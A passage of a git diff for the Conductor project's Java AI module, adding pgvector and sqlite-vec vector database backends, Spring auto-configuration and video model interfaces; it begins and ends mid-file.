statement.setString(paramIndex++, TextUtils.sanitizeForPostgres(doc)); + statement.setObject( + paramIndex++, objectMapper.writeValueAsString(metadata), java.sql.Types.OTHER); + + // updates + statement.setString(paramIndex++, parentDocId); + statement.setArray( + paramIndex++, conn.createArrayOf("float8", vectorArray)); // embedding + statement.setString(paramIndex++, TextUtils.sanitizeForPostgres(doc)); + statement.setObject( + paramIndex++, objectMapper.writeValueAsString(metadata), java.sql.Types.OTHER); + statement.setString(paramIndex++, id); + int result = statement.executeUpdate(); + log.debug("Upsert operation completed, rows affected: {}", result); + return result; + } catch (Exception e) { + log.error("Error occurred creating vector table for pgvector support : {}", e); + throw new RuntimeException(e); + } + } + + private void createVectorIndexIfNotExists(String tableName, String indexName, Connection conn) { + try { + conn.setAutoCommit(true); + final String indexingMethod = + config.getIndexingMethod() != null ? config.getIndexingMethod() : "hnsw"; + final String distanceMetric = + config.getDistanceMetric() != null ? config.getDistanceMetric() : "l2"; + String vectorOps = getVectorOps(distanceMetric); + String sql = + "CREATE INDEX IF NOT EXISTS " + + indexName + + " ON " + + tableName + + " USING hnsw (embedding " + + vectorOps + + ");"; + switch (indexingMethod) { + case "ivfflat": + int invertedListCount = + config.getInvertedListCount() != null + ? config.getInvertedListCount() + : 100; + sql = + "CREATE INDEX IF NOT EXISTS " + + indexName + + " ON " + + tableName + + " USING ivfflat (embedding " + + vectorOps + + ") WITH (lists = " + + invertedListCount + + ");"; + break; + default: + break; + } + try (PreparedStatement statement = conn.prepareStatement(sql)) { + int created = statement.executeUpdate(); + log.debug("Vector table created for pgvector {}", created); + } + } catch (Exception e) { + log.error("Error occurred creating vector index for pgvector : {}", e.getMessage(), e); + throw new RuntimeException(e); + } + } + + private void createVectorTableIfNotExists(String tableName, Connection conn) { + try { + conn.setAutoCommit(true); + final int embeddingDimensions = + config.getDimensions() != null ? config.getDimensions() : 256; + String sql = + "CREATE TABLE IF NOT EXISTS " + + tableName + + " (" + + "id VARCHAR(255) PRIMARY KEY, " + + "parent_doc_id VARCHAR(255) NOT NULL, " + + "embedding VECTOR(" + + embeddingDimensions + + "), " + + "doc TEXT NOT NULL, " + + "metadata TEXT NOT NULL" + + ")"; + try (PreparedStatement statement = conn.prepareStatement(sql)) { + log.debug("Executing SQL: {}", sql); + int created = statement.executeUpdate(); + log.debug("Pgvector table created {}, SQL result: {}", created, created); + } + } catch (Exception e) { + log.error("Error occurred creating vector table for pgvector : {}", e); + throw new RuntimeException(e); + } + } + + @Override + public List search( + String indexName, String namespace, List embeddings, int maxResults) { + return searchWithNamespace(namespace, embeddings, maxResults); + } + + private List searchWithNamespace( + String namespace, List embeddings, int maxResults) { + if (!pattern.matcher(namespace).matches()) { + throw new RuntimeException("Invalid namespace"); + } + DataSource dataSource = getClient(); + try (Connection conn = dataSource.getConnection()) { + PGvector.addVectorType(conn); + String distanceMetric = + config.getDistanceMetric() != null ? config.getDistanceMetric() : "l2"; + String queryOperator = getQueryOperator(distanceMetric); + final int embeddingDimensions = + config.getDimensions() != null ? config.getDimensions() : 256; + if (embeddingDimensions != embeddings.size()) { + throw new RuntimeException( + "Embeddings must be of dimensions : " + embeddingDimensions); + } + String tableName = + config.getTablePrefix() != null + ? config.getTablePrefix() + "_" + namespace + : namespace; + conn.setAutoCommit(true); + // queryOperator is derived from a switch statement on valid distance metrics, + // so it is safe from injection + String SEARCH_QUERY = + "SELECT id, parent_doc_id, doc, metadata, embedding " + + queryOperator + + " ? AS distance FROM " + + tableName + + " ORDER BY distance LIMIT " + + maxResults; + try (PreparedStatement statement = conn.prepareStatement(SEARCH_QUERY)) { + float[] embeddingArray = new float[embeddings.size()]; + for (int i = 0; i < embeddings.size(); i++) { + embeddingArray[i] = embeddings.get(i); + } + statement.setObject(1, new PGvector(embeddingArray)); + try (ResultSet rs = statement.executeQuery()) { + List matches = new ArrayList<>(); + while (rs.next()) { + String docId = rs.getString("id"); + String parentDocId = rs.getString("parent_doc_id"); + double distance = rs.getDouble("distance"); + String text = rs.getString("doc"); + Map metadata = + objectMapper.readValue( + rs.getObject("metadata").toString(), Map.class); + IndexedDoc indexedDoc = new IndexedDoc(docId, parentDocId, text, distance); + indexedDoc.setMetadata(metadata); + matches.add(indexedDoc); + } + return matches; + } + } + } catch (Exception e) { + log.error("Error occurred searching in vector table for pgvector : {}", e); + throw new RuntimeException(e); + } + } + + private String getVectorOps(String distanceMetric) { + String vectorOps = "vector_l2_ops"; + switch (distanceMetric) { + case "cosine": + vectorOps = "vector_cosine_ops"; + break; + case "inner_product": + vectorOps = "vector_ip_ops"; + break; + default: + break; + } + return vectorOps; + } + + private String getQueryOperator(String distanceMetric) { + String queryOperator = "<->"; + switch (distanceMetric) { + case "cosine": + queryOperator = "<=>"; + break; + case "inner_product": + queryOperator = "<#>"; + break; + default: + break; + } + return queryOperator; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteConfig.java b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteConfig.java new file mode 100644 index 0000000..63f1ea1 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteConfig.java @@ -0,0 +1,68 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb.sqlite; + +import org.conductoross.conductor.ai.vectordb.VectorDBConfig; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +/** + * Configuration for a SQLite-backed vector database instance using the sqlite-vec extension. + * + *

sqlite-vec ships as a native loadable SQLite extension ({@code vec0}). It is not published as + * a Maven artifact and has no JVM binding, so the operator must make the compiled extension + * available on the host and point {@link #extensionPath} at it (the file name without its platform + * suffix, e.g. {@code /opt/sqlite-vec/vec0}). When {@code extensionPath} is blank the extension is + * loaded by the bare name {@code vec0}, which requires it to be resolvable on the default library + * search path. + */ +@Data +@NoArgsConstructor +@AllArgsConstructor +public class SqliteConfig implements VectorDBConfig { + + /** + * Path to the SQLite database file, e.g. {@code /var/lib/conductor/vectordb.db}. Use {@code + * :memory:} for an ephemeral in-memory database (pool size is forced to 1 in that case). + */ + private String dbPath; + + /** + * Path to the sqlite-vec loadable extension, without the platform suffix (e.g. {@code + * /opt/sqlite-vec/vec0}). When blank, the extension is loaded by the bare name {@code vec0}. + */ + private String extensionPath; + + private Integer connectionPoolSize = 5; + + private Integer dimensions = 256; + + /** + * Distance metric for the vector column: {@code l2} (default), {@code cosine} or {@code l1}. + */ + private String distanceMetric = "l2"; + + private String tablePrefix; + + @Override + public SqliteVectorDB get() { + throw new UnsupportedOperationException("Use get(String name) instead"); + } + + public SqliteVectorDB get(String name) { + return new SqliteVectorDB(name, this); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteVecExtensions.java b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteVecExtensions.java new file mode 100644 index 0000000..5b31166 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteVecExtensions.java @@ -0,0 +1,136 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb.sqlite; + +import java.io.IOException; +import java.io.InputStream; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.nio.file.StandardCopyOption; + +import lombok.extern.slf4j.Slf4j; + +/** + * Resolves the sqlite-vec {@code vec0} loadable extension bundled in this jar for the current + * platform. + * + *

The {@code vec0.{so,dylib,dll}} binaries are downloaded and verified at build time (see the + * {@code downloadSqliteVec} task in {@code ai/build.gradle}) and packaged as resources under {@code + * /sqlite-vec//}. At runtime the matching binary is extracted to a temporary file and its + * path returned, ready to be passed to {@code load_extension}. SQLite derives the extension entry + * point from the file name {@code vec0} (digits are skipped), which resolves to the exported {@code + * sqlite3_vec_init} symbol, so no explicit entry point is required. + * + *

Extraction happens once per JVM; the result is cached. Returns {@code null} when no bundled + * binary matches the host platform, in which case callers fall back to a configured path or the + * bare name {@code vec0}. + */ +@Slf4j +public final class SqliteVecExtensions { + + private static volatile String cachedPath; + private static final Object LOCK = new Object(); + + private SqliteVecExtensions() {} + + /** + * @return absolute path to the extracted {@code vec0} extension for this platform, or {@code + * null} if no bundled binary is available for it. + */ + public static String resolveBundledExtensionPath() { + if (cachedPath != null) { + // Guard against the temp file being deleted (e.g. by OS cleanup) between calls. + if (Files.exists(Paths.get(cachedPath))) { + return cachedPath; + } + log.warn( + "Previously extracted sqlite-vec extension no longer exists at {}; re-extracting", + cachedPath); + synchronized (LOCK) { + cachedPath = null; + } + } + synchronized (LOCK) { + if (cachedPath != null) { + return cachedPath; + } + String resource = bundledResourcePath(); + if (resource == null) { + log.warn( + "No bundled sqlite-vec extension for os.name='{}' os.arch='{}'; " + + "set extensionPath or install vec0 manually", + System.getProperty("os.name"), + System.getProperty("os.arch")); + return null; + } + try (InputStream in = SqliteVecExtensions.class.getResourceAsStream(resource)) { + if (in == null) { + log.warn( + "Bundled sqlite-vec extension resource {} not found on the classpath", + resource); + return null; + } + String binaryName = resource.substring(resource.lastIndexOf('/') + 1); + Path tempDir = Files.createTempDirectory("sqlite-vec"); + Path target = tempDir.resolve(binaryName); + Files.copy(in, target, StandardCopyOption.REPLACE_EXISTING); + target.toFile().deleteOnExit(); + tempDir.toFile().deleteOnExit(); + cachedPath = target.toAbsolutePath().toString(); + log.info("Extracted bundled sqlite-vec extension to {}", cachedPath); + return cachedPath; + } catch (IOException e) { + log.warn("Failed to extract bundled sqlite-vec extension: {}", e.getMessage(), e); + return null; + } + } + } + + /** + * Maps the current OS/architecture to the bundled resource path, or {@code null} if + * unsupported. Package-private for testing. + */ + public static String bundledResourcePath() { + String os = System.getProperty("os.name", "").toLowerCase(); + String arch = System.getProperty("os.arch", "").toLowerCase(); + + String normArch; + if (arch.contains("aarch64") || arch.contains("arm64")) { + normArch = "aarch64"; + } else if (arch.contains("amd64") || arch.contains("x86_64") || arch.contains("x64")) { + normArch = "x86_64"; + } else { + return null; + } + + String platform; + String binary; + if (os.contains("linux")) { + platform = "linux-" + normArch; + binary = "vec0.so"; + } else if (os.contains("mac") || os.contains("darwin")) { + platform = "macos-" + normArch; + binary = "vec0.dylib"; + } else if (os.contains("windows")) { + if (!"x86_64".equals(normArch)) { + return null; // only windows-x86_64 is published + } + platform = "windows-x86_64"; + binary = "vec0.dll"; + } else { + return null; + } + return "/sqlite-vec/" + platform + "/" + binary; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteVectorDB.java b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteVectorDB.java new file mode 100644 index 0000000..93c3110 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteVectorDB.java @@ -0,0 +1,389 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb.sqlite; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.time.Duration; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.regex.Pattern; + +import javax.sql.DataSource; + +import org.apache.commons.lang3.StringUtils; +import org.conductoross.conductor.ai.model.IndexedDoc; +import org.conductoross.conductor.ai.vectordb.VectorDB; +import org.conductoross.conductor.common.utils.TextUtils; +import org.sqlite.SQLiteConfig; +import org.sqlite.SQLiteDataSource; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.cache.Cache; +import com.google.common.cache.CacheBuilder; +import com.google.common.cache.RemovalListener; +import com.google.common.cache.RemovalNotification; +import com.zaxxer.hikari.HikariConfig; +import com.zaxxer.hikari.HikariDataSource; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +/** + * Vector database backed by SQLite and the sqlite-vec extension. Embeddings are stored in a + * {@code vec0} virtual table and queried with sqlite-vec's KNN {@code MATCH} operator. This is an + * embedded, zero-infrastructure alternative to the pgvector, MongoDB and Pinecone backends, suited + * to local development, demos and small deployments. + * + *

sqlite-vec performs an exact (brute-force) KNN scan and has no ANN index, so it is appropriate + * for thousands to low-millions of vectors rather than large-scale corpora. + * + *

The native {@code vec0} extension is loaded on every physical connection via {@code + * load_extension}; see {@link SqliteConfig} for how to make it available on the host. + */ +@Slf4j +public class SqliteVectorDB extends VectorDB { + + public static final String TYPE = "sqlite"; + + private final Cache sqliteClients; + private final ObjectMapper objectMapper; + private final SqliteConfig config; + private static final String VALID_NAME_REGEX = "[a-zA-Z0-9_-]+"; + private static final Pattern pattern = Pattern.compile(VALID_NAME_REGEX); + + public SqliteVectorDB(String name, SqliteConfig config) { + super(name, TYPE); + this.config = config; + this.objectMapper = new ObjectMapper(); + this.sqliteClients = + CacheBuilder.newBuilder() + .maximumSize(100) + .expireAfterAccess(Duration.ofSeconds(60)) + .concurrencyLevel(32) + .removalListener( + new RemovalListener() { + @Override + public void onRemoval( + RemovalNotification notification) { + DataSource dataSource = notification.getValue(); + if (dataSource instanceof HikariDataSource) { + ((HikariDataSource) dataSource).close(); + } + } + }) + .build(); + } + + @SneakyThrows + private DataSource getClient() { + String cacheKey = config.getDbPath(); + return sqliteClients.get(cacheKey, this::getSqliteClient); + } + + private DataSource getSqliteClient() { + String dbPath = config.getDbPath(); + if (StringUtils.isBlank(dbPath)) { + throw new RuntimeException( + "Missing dbPath - please check conductor.vectordb..sqlite.dbPath"); + } + + // Extension loading must be enabled at the driver level before load_extension() can run. + SQLiteConfig sqliteConfig = new SQLiteConfig(); + sqliteConfig.enableLoadExtension(true); + SQLiteDataSource sqliteDataSource = new SQLiteDataSource(sqliteConfig); + sqliteDataSource.setUrl("jdbc:sqlite:" + dbPath); + + // Resolution order: explicit configured path -> bundled binary for this platform -> the + // bare name "vec0" (relies on the host's default library search path). + String extension = config.getExtensionPath(); + if (StringUtils.isBlank(extension)) { + extension = SqliteVecExtensions.resolveBundledExtensionPath(); + } + if (StringUtils.isBlank(extension)) { + extension = "vec0"; + } + // Allowlist check on operator-supplied paths to prevent unexpected SQL content. Bundled + // paths (temp-dir extractions) match this pattern; bare "vec0" also matches. + if (!extension.matches("[a-zA-Z0-9/_\\-.]+")) { + throw new RuntimeException("extensionPath contains invalid characters: " + extension); + } + // Loaded once per physical connection so every pooled connection has vec0 available. + String loadExtensionSql = "SELECT load_extension('" + extension.replace("'", "''") + "')"; + + int poolSize = config.getConnectionPoolSize() != null ? config.getConnectionPoolSize() : 5; + // An in-memory database is private to a single connection, so the pool must be size 1. + if (dbPath.contains(":memory:")) { + poolSize = 1; + } + + HikariConfig hikariConfig = new HikariConfig(); + hikariConfig.setDataSource(sqliteDataSource); + hikariConfig.setConnectionInitSql(loadExtensionSql); + hikariConfig.setAutoCommit(true); + hikariConfig.setMaximumPoolSize(poolSize); + hikariConfig.setIdleTimeout(60_000); + + return new HikariDataSource(hikariConfig); + } + + private void waitForConnectionPoolReady(DataSource dataSource) { + if (dataSource instanceof HikariDataSource) { + HikariDataSource hikariDataSource = (HikariDataSource) dataSource; + int maxWaitTime = 5000; // 5 seconds + int waitInterval = 20; // 20ms + int totalWaited = 0; + + while (!hikariDataSource.isRunning() && totalWaited < maxWaitTime) { + try { + Thread.sleep(waitInterval); + totalWaited += waitInterval; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + throw new RuntimeException("Interrupted while waiting for connection pool", e); + } + } + + if (!hikariDataSource.isRunning()) { + throw new RuntimeException( + "Connection pool failed to start within " + maxWaitTime + "ms"); + } + } + } + + @Override + public int updateEmbeddings( + String indexName, + String namespace, + String doc, + String parentDocId, + String id, + List embeddings, + Map metadata) { + if (parentDocId == null) { + parentDocId = id; + } + if (!pattern.matcher(namespace).matches()) { + throw new RuntimeException("Invalid namespace"); + } + if (!pattern.matcher(indexName).matches()) { + throw new RuntimeException("Invalid index name"); + } + final int embeddingDimensions = + config.getDimensions() != null ? config.getDimensions() : 256; + if (embeddingDimensions != embeddings.size()) { + throw new RuntimeException("Embeddings must be of dimensions : " + embeddingDimensions); + } + + DataSource dataSource; + try { + dataSource = getClient(); + waitForConnectionPoolReady(dataSource); + } catch (Exception exception) { + log.error( + "Error encountered while fetching datasource : {}", + exception.getMessage(), + exception); + throw new RuntimeException(exception); + } + + try (Connection conn = dataSource.getConnection()) { + String tableName = tableName(namespace); + createVectorTableIfNotExists(tableName, conn); + return upsertEmbeddings(tableName, id, parentDocId, doc, embeddings, metadata, conn); + } catch (Exception exception) { + log.error( + "Error encountered while updating embeddings as : {}", + exception.getMessage(), + exception); + throw new RuntimeException(exception); + } + } + + private int upsertEmbeddings( + String tableName, + String id, + String parentDocId, + String doc, + List embeddings, + Map metadata, + Connection conn) { + // vec0 is a virtual table and does not support ON CONFLICT upserts, so we delete any + // existing row for the id and insert the new one inside a single transaction. + String deleteQuery = "DELETE FROM " + tableName + " WHERE id = ?"; + String insertQuery = + "INSERT INTO " + + tableName + + " (id, embedding, parent_doc_id, doc, metadata) VALUES (?, ?, ?, ?, ?)"; + try { + conn.setAutoCommit(false); + try (PreparedStatement deleteStmt = conn.prepareStatement(deleteQuery)) { + deleteStmt.setString(1, id); + deleteStmt.executeUpdate(); + } + int result; + try (PreparedStatement insertStmt = conn.prepareStatement(insertQuery)) { + insertStmt.setString(1, id); + insertStmt.setString(2, toJsonVector(embeddings)); + insertStmt.setString(3, parentDocId); + insertStmt.setString(4, TextUtils.sanitizeForPostgres(doc)); + insertStmt.setString(5, objectMapper.writeValueAsString(metadata)); + result = insertStmt.executeUpdate(); + } + conn.commit(); + log.debug("Upsert operation completed for id {}, rows affected: {}", id, result); + return result; + } catch (Exception e) { + try { + conn.rollback(); + } catch (Exception rollbackEx) { + log.error("Error rolling back sqlite-vec upsert : {}", rollbackEx.getMessage()); + } + log.error("Error occurred upserting embeddings for sqlite-vec : {}", e.getMessage(), e); + throw new RuntimeException(e); + } finally { + // Always restore autocommit so this connection is safe to reuse from the Hikari pool. + try { + conn.setAutoCommit(true); + } catch (Exception ex) { + log.warn( + "Failed to restore autocommit on sqlite-vec connection: {}", + ex.getMessage()); + } + } + } + + private void createVectorTableIfNotExists(String tableName, Connection conn) { + final int embeddingDimensions = + config.getDimensions() != null ? config.getDimensions() : 256; + String distanceClause = distanceMetricClause(); + // doc/parent_doc_id/metadata are auxiliary columns (the "+" prefix): stored and returned + // alongside each vector but not indexed or used for filtering. + String sql = + "CREATE VIRTUAL TABLE IF NOT EXISTS " + + tableName + + " USING vec0(" + + "id TEXT PRIMARY KEY, " + + "embedding FLOAT[" + + embeddingDimensions + + "]" + + distanceClause + + ", " + + "+parent_doc_id TEXT, " + + "+doc TEXT, " + + "+metadata TEXT" + + ")"; + try (PreparedStatement statement = conn.prepareStatement(sql)) { + log.debug("Executing SQL: {}", sql); + statement.executeUpdate(); + } catch (Exception e) { + log.error("Error occurred creating vec0 table for sqlite-vec : {}", e.getMessage(), e); + throw new RuntimeException(e); + } + } + + @Override + public List search( + String indexName, String namespace, List embeddings, int maxResults) { + if (!pattern.matcher(namespace).matches()) { + throw new RuntimeException("Invalid namespace"); + } + final int embeddingDimensions = + config.getDimensions() != null ? config.getDimensions() : 256; + if (embeddingDimensions != embeddings.size()) { + throw new RuntimeException("Embeddings must be of dimensions : " + embeddingDimensions); + } + + DataSource dataSource = getClient(); + try (Connection conn = dataSource.getConnection()) { + String tableName = tableName(namespace); + // sqlite-vec KNN: constrain the vector column with MATCH and bound the result set with + // the special "k" column. + String searchQuery = + "SELECT id, parent_doc_id, doc, metadata, distance FROM " + + tableName + + " WHERE embedding MATCH ? AND k = ? ORDER BY distance"; + try (PreparedStatement statement = conn.prepareStatement(searchQuery)) { + statement.setString(1, toJsonVector(embeddings)); + statement.setInt(2, maxResults); + try (ResultSet rs = statement.executeQuery()) { + List matches = new ArrayList<>(); + while (rs.next()) { + String docId = rs.getString("id"); + String parentDocId = rs.getString("parent_doc_id"); + double distance = rs.getDouble("distance"); + String text = rs.getString("doc"); + String metadataJson = rs.getString("metadata"); + Map metadata = + metadataJson != null + ? objectMapper.readValue(metadataJson, Map.class) + : Map.of(); + IndexedDoc indexedDoc = new IndexedDoc(docId, parentDocId, text, distance); + indexedDoc.setMetadata(metadata); + matches.add(indexedDoc); + } + return matches; + } + } + } catch (Exception e) { + log.error("Error occurred searching in vec0 table for sqlite-vec : {}", e.getMessage()); + throw new RuntimeException(e); + } + } + + private String tableName(String namespace) { + String rawName = + config.getTablePrefix() != null + ? config.getTablePrefix() + "_" + namespace + : namespace; + // namespace/prefix are validated against VALID_NAME_REGEX; quoting lets identifiers + // containing '-' be used safely. + return "\"" + rawName.replace("\"", "\"\"") + "\""; + } + + /** + * Renders the embedding as a JSON array, which sqlite-vec accepts for both storage and MATCH. + */ + private String toJsonVector(List embeddings) { + StringBuilder sb = new StringBuilder(embeddings.size() * 8); + sb.append('['); + for (int i = 0; i < embeddings.size(); i++) { + if (i > 0) { + sb.append(','); + } + sb.append(embeddings.get(i).floatValue()); + } + sb.append(']'); + return sb.toString(); + } + + private String distanceMetricClause() { + String distanceMetric = + config.getDistanceMetric() != null ? config.getDistanceMetric() : "l2"; + switch (distanceMetric.toLowerCase()) { + case "cosine": + return " distance_metric=cosine"; + case "l1": + return " distance_metric=L1"; + case "l2": + return ""; // L2 is the vec0 default + default: + log.warn( + "Unsupported sqlite-vec distance metric '{}', falling back to l2", + distanceMetric); + return ""; + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteVectorDBAutoConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteVectorDBAutoConfiguration.java new file mode 100644 index 0000000..5963219 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/sqlite/SqliteVectorDBAutoConfiguration.java @@ -0,0 +1,96 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb.sqlite; + +import org.apache.commons.lang3.StringUtils; +import org.conductoross.conductor.ai.vectordb.VectorDB; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import lombok.extern.slf4j.Slf4j; + +/** + * Registers a ready-to-use SQLite vector database instance when both the AI integration and the + * SQLite persistence backend are enabled ({@code conductor.integrations.ai.enabled=true} and {@code + * conductor.db.type=sqlite}). This makes sqlite-vec the zero-configuration vector store for the + * all-in-one SQLite deployment: the native {@code vec0} extension is bundled in the jar (see {@link + * SqliteVecExtensions}), so no external vector database is required. + * + *

The instance is exposed under the name {@code default} and merged into the {@code + * VectorDBProvider} alongside any explicitly configured {@code conductor.vectordb.instances}. An + * explicit instance named {@code default} takes precedence. All defaults below can be overridden + * via {@code conductor.vectordb.sqlite-default.*}. + */ +@Configuration +@ConditionalOnProperty(name = "conductor.integrations.ai.enabled", havingValue = "true") +@Slf4j +public class SqliteVectorDBAutoConfiguration { + + @Bean + @ConditionalOnProperty(name = "conductor.db.type", havingValue = "sqlite") + @ConditionalOnMissingBean(name = "defaultSqliteVectorDB") + public VectorDB defaultSqliteVectorDB( + @Value("${conductor.vectordb.sqlite-default.name:default}") String name, + @Value("${conductor.vectordb.sqlite-default.db-path:}") String dbPath, + @Value("${spring.datasource.url:}") String datasourceUrl, + @Value("${conductor.vectordb.sqlite-default.dimensions:256}") int dimensions, + @Value("${conductor.vectordb.sqlite-default.distance-metric:cosine}") + String distanceMetric, + @Value("${conductor.vectordb.sqlite-default.extension-path:}") String extensionPath) { + + SqliteConfig config = new SqliteConfig(); + config.setDbPath(resolveDbPath(dbPath, datasourceUrl)); + config.setDimensions(dimensions); + config.setDistanceMetric(distanceMetric); + // Blank extensionPath lets SqliteVectorDB fall back to the bundled vec0 binary. + config.setExtensionPath(StringUtils.trimToNull(extensionPath)); + + log.info( + "Registering default SQLite vector DB instance '{}' (dbPath={}, dimensions={}, distanceMetric={})", + name, + config.getDbPath(), + dimensions, + distanceMetric); + return config.get(name); + } + + /** + * Picks a SQLite file for the default vector store. Uses the explicit value when set, otherwise + * co-locates a {@code *_vectordb.db} file next to the persistence database, falling back to a + * file in the working directory. + */ + public static String resolveDbPath(String configured, String datasourceUrl) { + if (StringUtils.isNotBlank(configured)) { + return configured; + } + if (StringUtils.isNotBlank(datasourceUrl) && datasourceUrl.startsWith("jdbc:sqlite:")) { + String path = datasourceUrl.substring("jdbc:sqlite:".length()).trim(); + // Strip query parameters (e.g. ?busy_timeout=15000&journal_mode=WAL) so they don't + // end up as part of the filesystem path. + int queryIdx = path.indexOf('?'); + if (queryIdx > 0) { + path = path.substring(0, queryIdx); + } + if (StringUtils.isNotBlank(path) && !path.contains(":memory:")) { + int dot = path.lastIndexOf('.'); + int sep = Math.max(path.lastIndexOf('/'), path.lastIndexOf('\\')); + String base = dot > sep ? path.substring(0, dot) : path; + return base + "_vectordb.db"; + } + } + return "conductor_vectordb.db"; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/video/AsyncVideoModel.java b/ai/src/main/java/org/conductoross/conductor/ai/video/AsyncVideoModel.java new file mode 100644 index 0000000..0cd74c3 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/video/AsyncVideoModel.java @@ -0,0 +1,37 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.video; + +/** + * Extension of {@link VideoModel} for providers that use asynchronous job submission and polling. + * + *

Most video generation providers (OpenAI Sora, Google Veo, etc.) operate asynchronously: + * + *

    + *
  1. {@link #call(VideoPrompt)} submits the generation job and returns immediately with a job ID + *
  2. {@link #checkStatus(String)} polls for the job's current status + *
  3. When status is COMPLETED, the response includes the generated video data + *
+ */ +public interface AsyncVideoModel extends VideoModel { + + /** + * Check the status of an asynchronous video generation job. + * + * @param jobId The job identifier returned from a previous {@link #call(VideoPrompt)} response + * metadata + * @return The current status and result if complete. The response metadata will contain the + * status (PENDING, PROCESSING, COMPLETED, FAILED). + */ + VideoResponse checkStatus(String jobId); +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/video/Video.java b/ai/src/main/java/org/conductoross/conductor/ai/video/Video.java new file mode 100644 index 0000000..a4fd324 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/video/Video.java @@ -0,0 +1,116 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.video; + +import java.util.Objects; + +/** + * Represents a generated video. + * + *

Mirrors Spring AI's {@code Image} class with a URL and base64-encoded data representation. + * Exactly one of {@code url}, {@code b64Json}, or {@code data} is typically populated depending on + * how the provider returns the video. + * + *

